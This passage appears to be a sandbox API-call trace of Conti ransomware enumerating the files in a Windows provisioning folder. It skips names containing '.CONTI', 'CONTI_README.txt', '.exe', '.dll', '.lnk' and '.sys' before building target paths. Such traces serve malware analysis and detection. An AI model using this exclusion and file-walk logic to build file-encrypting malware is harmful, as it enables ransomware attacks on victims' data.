	[0107.492] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.493] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml"
	[0107.493] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906742d4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", cAlternateFileName="169__C~1.PRO")) returned 1
	[0107.493] lstrcmpiW (lpString1="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.493] lstrcmpiW (lpString1="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.493] StrStrIW (lpFirst="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.493] StrStrIW (lpFirst="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.493] StrStrIW (lpFirst="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.493] StrStrIW (lpFirst="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.493] StrStrIW (lpFirst="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.493] StrStrIW (lpFirst="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.493] StrStrIW (lpFirst="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.493] StrStrIW (lpFirst="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.493] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.493] lstrlenW (lpString="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml") returned 66
	[0107.493] GetProcessHeap () returned 0x1720000
	[0107.493] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x65881a0
	[0107.493] lstrcpyW (in: lpString1=0x65881a0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.493] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.493] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml"
	[0107.493] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", cAlternateFileName="16__CO~1.PRO")) returned 1
	[0107.493] lstrcmpiW (lpString1="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.493] lstrcmpiW (lpString1="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.493] StrStrIW (lpFirst="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.493] StrStrIW (lpFirst="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.493] StrStrIW (lpFirst="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.493] StrStrIW (lpFirst="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.493] StrStrIW (lpFirst="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.493] StrStrIW (lpFirst="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.493] StrStrIW (lpFirst="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.493] StrStrIW (lpFirst="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.493] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.494] lstrlenW (lpString="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml") returned 66
	[0107.494] GetProcessHeap () returned 0x1720000
	[0107.494] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x6588808
	[0107.494] lstrcpyW (in: lpString1=0x6588808, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.494] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.494] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml"
	[0107.494] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906742d4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", cAlternateFileName="170__C~1.PRO")) returned 1
	[0107.494] lstrcmpiW (lpString1="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.494] lstrcmpiW (lpString1="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.494] StrStrIW (lpFirst="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.494] StrStrIW (lpFirst="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.494] StrStrIW (lpFirst="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.494] StrStrIW (lpFirst="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.494] StrStrIW (lpFirst="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.494] StrStrIW (lpFirst="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.494] StrStrIW (lpFirst="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.494] StrStrIW (lpFirst="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.494] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.494] lstrlenW (lpString="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml") returned 66
	[0107.494] GetProcessHeap () returned 0x1720000
	[0107.494] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x65882e8
	[0107.494] lstrcpyW (in: lpString1=0x65882e8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.494] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.494] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml"
	[0107.494] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9069a53c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", cAlternateFileName="171__C~1.PRO")) returned 1
	[0107.494] lstrcmpiW (lpString1="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.494] lstrcmpiW (lpString1="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.494] StrStrIW (lpFirst="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.494] StrStrIW (lpFirst="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.494] StrStrIW (lpFirst="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.494] StrStrIW (lpFirst="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.495] StrStrIW (lpFirst="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.495] StrStrIW (lpFirst="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.495] StrStrIW (lpFirst="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.495] StrStrIW (lpFirst="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.495] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.495] lstrlenW (lpString="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml") returned 66
	[0107.495] GetProcessHeap () returned 0x1720000
	[0107.495] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x6589768
	[0107.495] lstrcpyW (in: lpString1=0x6589768, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.495] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.495] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml"
	[0107.495] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9069a53c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", cAlternateFileName="172__C~1.PRO")) returned 1
	[0107.495] lstrcmpiW (lpString1="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.495] lstrcmpiW (lpString1="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.495] StrStrIW (lpFirst="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.495] StrStrIW (lpFirst="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.495] StrStrIW (lpFirst="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.495] StrStrIW (lpFirst="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.495] StrStrIW (lpFirst="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.495] StrStrIW (lpFirst="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.495] StrStrIW (lpFirst="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.495] StrStrIW (lpFirst="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.495] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.495] lstrlenW (lpString="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml") returned 65
	[0107.495] GetProcessHeap () returned 0x1720000
	[0107.495] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x65881a0
	[0108.134] lstrcpyW (in: lpString1=0x65881a0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.134] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.134] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml"
	[0108.137] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9069a53c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x289, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", cAlternateFileName="173__C~1.PRO")) returned 1
	[0108.137] lstrcmpiW (lpString1="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.137] lstrcmpiW (lpString1="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.137] StrStrIW (lpFirst="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.139] StrStrIW (lpFirst="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.139] StrStrIW (lpFirst="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.139] StrStrIW (lpFirst="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.139] StrStrIW (lpFirst="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.139] StrStrIW (lpFirst="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.139] StrStrIW (lpFirst="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.139] StrStrIW (lpFirst="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.139] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.139] lstrlenW (lpString="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml") returned 65
	[0108.139] GetProcessHeap () returned 0x1720000
	[0108.139] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x65882e8
	[0108.139] lstrcpyW (in: lpString1=0x65882e8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.139] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.139] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml"
	[0108.144] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9069a53c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="174__C~1.PRO")) returned 1
	[0108.144] lstrcmpiW (lpString1="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.144] lstrcmpiW (lpString1="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.144] StrStrIW (lpFirst="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.144] StrStrIW (lpFirst="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.144] StrStrIW (lpFirst="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.144] StrStrIW (lpFirst="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.144] StrStrIW (lpFirst="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.144] StrStrIW (lpFirst="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.145] StrStrIW (lpFirst="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.145] StrStrIW (lpFirst="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
